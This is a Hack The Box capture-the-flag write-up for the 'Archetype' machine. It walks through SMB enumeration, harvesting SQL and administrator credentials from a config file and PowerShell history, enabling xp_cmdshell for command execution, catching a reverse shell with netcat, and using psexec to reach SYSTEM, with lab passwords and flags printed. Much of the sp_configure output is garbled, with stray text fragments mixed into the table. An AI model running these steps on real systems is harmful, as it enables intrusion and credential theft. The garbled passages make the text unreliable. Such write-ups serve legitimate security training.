archetype

```
i)-[/Documents/htb/boxes/archetype]
 # nmap -sC -sV 10.10.10.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-31 08:30 EDT
Nmap scan report for 10.10.10.27
Host is up (0.064s latency).
Not shown: 996 closed ports
        STATE SERVICE
                           VERSION
135/tcp open msrpc
                           Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s
                           Microsoft SQL Server 2017 14.00.1000.00; RTM
 ms-sql-ntlm-info:
    Target_Name: ARCHETYPE
    NetBIOS_Domain_Name: ARCHETYPE
    NetBIOS_Computer_Name: ARCHETYPE
    DNS_Domain_Name: Archetype
    DNS_Computer_Name: Archetype
   Product_Version: 10.0.17763
  ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
  Not valid before: 2021-05-31T06:03:14
 _Not valid after: 2051-05-31T06:03:14
 _ssl-date: 2021-05-31T12:53:09+00:00; +22m15s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
 _clock-skew: mean: 1h46m15s, deviation: 3h07m51s, median: 22m14s
  ms-sql-info:
    10.10.10.27:1433:
     Version:
       name: Microsoft SQL Server 2017 RTM
        number: 14.00.1000.00
       Product: Microsoft SQL Server 2017
       Service pack level: RTM
       Post-SP patches applied: false
     TCP port: 1433
  smb-os-discovery:
   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
    Computer name: Archetype
    NetBIOS computer name: ARCHETYPE\x00
    Workgroup: WORKGROUP\x00
   System time: 2021-05-31T05:53:02-07:00
  smb-security-mode:
    account_used: guest
    authentication_level: user
    challenge_response: supported
   message_signing: disabled (dangerous, but default)
  smb2-security-mode:
    2.02:
     Message signing enabled but not required
    date: 2021-05-31T12:53:01
   start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.28 seconds
```

Ports 445 and 1433 are open, which are associated with file sharing (SMB) and SQL Server.

It is worth checking to see if anonymous access has been permitted, as file shares often store configuration files containing passwords or other sensitive information. We can use smbclient to list available shares.

```
kali)-[/Documents/htb/boxes/archetype]
    smbclient -N -L \\\\10.10.10.27\\
        Sharename
                         Type
                                    Comment
        ADMIN$
                         Disk
                                    Remote Admin
                         Disk
        backups
        C$
                         Disk
                                    Default share
        IPC$
                         IPC
                                    Remote IPC
SMB1 disabled -- no workgroup available
```

Li)-[/Documents/htb/boxes/archetype]

It seems there is a share called backups. Let's attempt to access it and see what's inside.

```
smbclient -N \\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
                                             D
                                                        0 Mon Jan 20 07:20:57 2020
                                                        0 Mon Jan 20 07:20:57 2020
                                             D
  prod.dtsConfig
                                            AR
                                                      609 Mon Jan 20 07:23:02 2020
                   10328063 blocks of size 4096. 8233293 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (2.4 KiloBytes/sec) (average 2.4 KiloBytes/sec)
smb: \>
              [/Documents/htb/boxes/archetype]
130
       <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"</p>

√DTSConfigurationHeading>

    Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;
// ConfiguredValue>
    </Configuration>
⟨DTSConfiguration>
```

We see that it contains a SQL connection string, containing credentials for the local Windows user ARCHETYPE\sql_svc.

Let's try connecting to the SQL Server using <u>Impacket's</u> mssqlclient.py.

```
(root & kali) = [/Documents/htb/boxes/archetype]
# mssqlclient.py ARCHTYPE/sql_svc@10.10.10.27 - windows-auth
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')

1
SQL>
```

We can use the IS_SRVROLEMEMBER function to reveal whether the current SQL user has sysadmin (highest level) privileges on the SQL Server. This is successful, and we do indeed have sysadmin privileges.

This will allow us to enable xp_cmdshell and gain RCE on the host. Let's attempt this, by inputting the commands below.

```
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
```

	ure 'Show Advanced : Line 185: Configu		show advance	ed options' char	nged from 1 to	1. Run the RECONFIGURE st	atement to install.
name	rivileges.	minimum	maximum	config_value	run_value		
Ti							
access check cache	bucket count	nds below.	65536	0	0		
access check cache	quota	0	2147483647	0	0		
Ad Hoc Distributed	Queries P_Configur	e 'Show Agivan	ced Opti p n	s', 1; 0	0		
affinity I/O mask		-2147483648	2147483647	0	0		
affinity mask		-2147483648	2147483647	0	0		
affinity64 I/O mask		-2147483648	2147483647	0	0		
affinity64 mask		-2147483648	2147483647	0	0		
Agent XPs		nd output revea	als that the S	SQL Server is als	so running in t		
allow polybase expo	rt Ser ARCHETYPE\sql	_svc . However	, this acco <mark>l</mark> ur	nt doesn't se <mark>e</mark> m	to have ad <mark>e</mark> ni		
allow updates		0	1	0	0		
automatic soft-NUMA	disabled	proper shell, a	nd proceed	to further enui	merate the sys		
backup checksum def	ault werShell rever	se shell below a	as shell.ps	0	0		
backup compression	default	0	1	Ø	0		
blocked process thr	reshold (s)	0	86400	0	0		
c2 audit mode		0	1	0	0		

clr enabled	0	1	0	0	Sha
clr strict security	0	1	1	skyrepo/ G R	everse Sile
contained database authentication	Ø	HAC I K	THEBOX 0	Q Search H 0	k The Box
cost threshold for parallelism	Ø	32767	archetype.ctb5	Documents/htb/b5x	es/archetype
cross db ownership chaining	0 0	Import E1	ort Help 0	0	
cursor threshold	-1	2147483647	0 8 8 -1	/ / / / / / / / / / / / / / / / / / /	_a + h
Database Mail XPs	0	1	0	0	arche
default full-text language	0	2147483647	1033	1033	0
default language town updates	0	9999	0	0	0
default trace enabled tic soft-NUMA disabled	0	1) 1 1	1	0
disallow results from triggers	0	1	0	0	0
external scripts enabled	0	1	0	0	0
filestream access level	0	2	864.00	0	0
fill factor (%) c2 audit mode	0	100	0	0	0
ft crawl bandwidth (max)	0	32767	100	100	
ft crawl bandwidth (min)	0	32767	0	0	
ft notify bandwidth (max)	0	32767	100	100	
ft notify bandwidth (min)	0	32767	0	0	
hadoop connectivity	0	7	0	0	
index create memory (KB)	704	2147483647	0	0	
in-doubt xact resolution	0	2	0	0	
lightweight pooling	0	1	0	0	
locks	5000	2147483647	0	0	
max degree of parallelism	0	32767	0	0	
max full-text crawl range	0	256	4	4	
max server memory (MB)	128	2147483647	2147483647	2147483647	
max text repl size (B)	-1	2147483647	65536	65536	
max worker threads	128	65535	0	0	

query wait (s)	-1	2147483647	-1	-1	
recovery interval (min)	0	32767	*archetype.ctb_/D	ocuments/htb/boxe Ø	
remote access	0	Import Expor	t Help 1	n n a	
remote admin connections	0	1	0	0	
remote data archive	0	1	21474836 0	0	
remote login timeout (s)	0	2147483647	10	10	
remote proc trans	0	1 0	0	0	
remote query timeout (s)	0	2147483647	600	600	
Replication XPs	0	1 0	327 0 7	0	
can for startup procs	0	1 0	20	0	
erver trigger recursion	0	1	21474836 1 7	2147483 1	
set working set size	0	1_1	21474836 0	65.53	
how advanced options	0	1	655 3 5	1	
MO and DMO XPs	0	1	1	1	
ransform noise words	0	1	0	0	
wo digit year cutoff	1753	9999	2049	2049	
ser connections	0	32767	Ø	0	
ser options	0	32767	0	0	
p_cmdshell	0	1	1	1	
SQL> EXEC sp_configure 'xp_cmdshell', 1 [*] INFO(ARCHETYPE): Line 185: Configuratio SQL> reconfigure; SQL> xp_cmdshell "whoami" output	n option	'xp_cmdshell'	changed from 1	l to 1. Run th	e RECONFIGURE statement to install.
archetype\sql_svc					

The whoami command output reveals that the SQL Server is also running in the context of the user ARCHETYPE\sql_svc. However, this account doesn't seem to have administrative privileges on the host.

Let's attempt to get a proper shell, and proceed to further enumerate the system. We can save the PowerShell reverse shell below as shell.ps1.

Next, stand up a mini webserver in order to host the file. We can use Python.

```
root⊕ kali)-[/Documents/htb/boxes/archetype]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

archetype\sql_svc
```

After standing up a netcat listener on port 443, we can use ufw to allow the call backs on port 80 and 443 to our machine.

```
(root⊕ kali)-[/Documents/htb/boxes/archetype]

# nc -lvnp 443

Ncat: Version 7.91 ( https://nmap.org/ncat )

Ncat: Listening on :::443

Ncat: Listening on 0.0.0.0:443

File System
```

We can now issue the command to download and execute the reverse shell through xp_cmdshell.

```
(root@ kali)-[/Documents/htb/boxes/archetype]
# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.27.
Ncat: Connection from 10.10.10.27:49756.
whoami
archetype\sql_svc
#
```

A shell is received as sql_svc, and we can get the user.txt on their desktop.

```
# type user.txt
3e7b102e78218e935bf3f4951fec21a3
```

Privilege Escalation

As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. We can use the command below to access the PowerShell history file.

```
type
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console
Host_history.txt
```

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_History.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

This reveals that the backups drive has been mapped using the local administrator credentials. We can use Impacket's psexec.py to gain a privileged shell.

administrator:MEGACORP_4dm1n!!

```
(reot@ kali)-[/Documents/htb/boxes/archetype]
# psexec.py administrator@10.10.10.27
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file zfvvKSFf.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service caJX on 10.10.10.27.....
[*] Starting service caJX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
```

C:\Windows\system32>cd C:\Users\Administrator
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>type root.txt
b91ccec3305e98240082d4474b848528
C:\Users\Administrator\Desktop>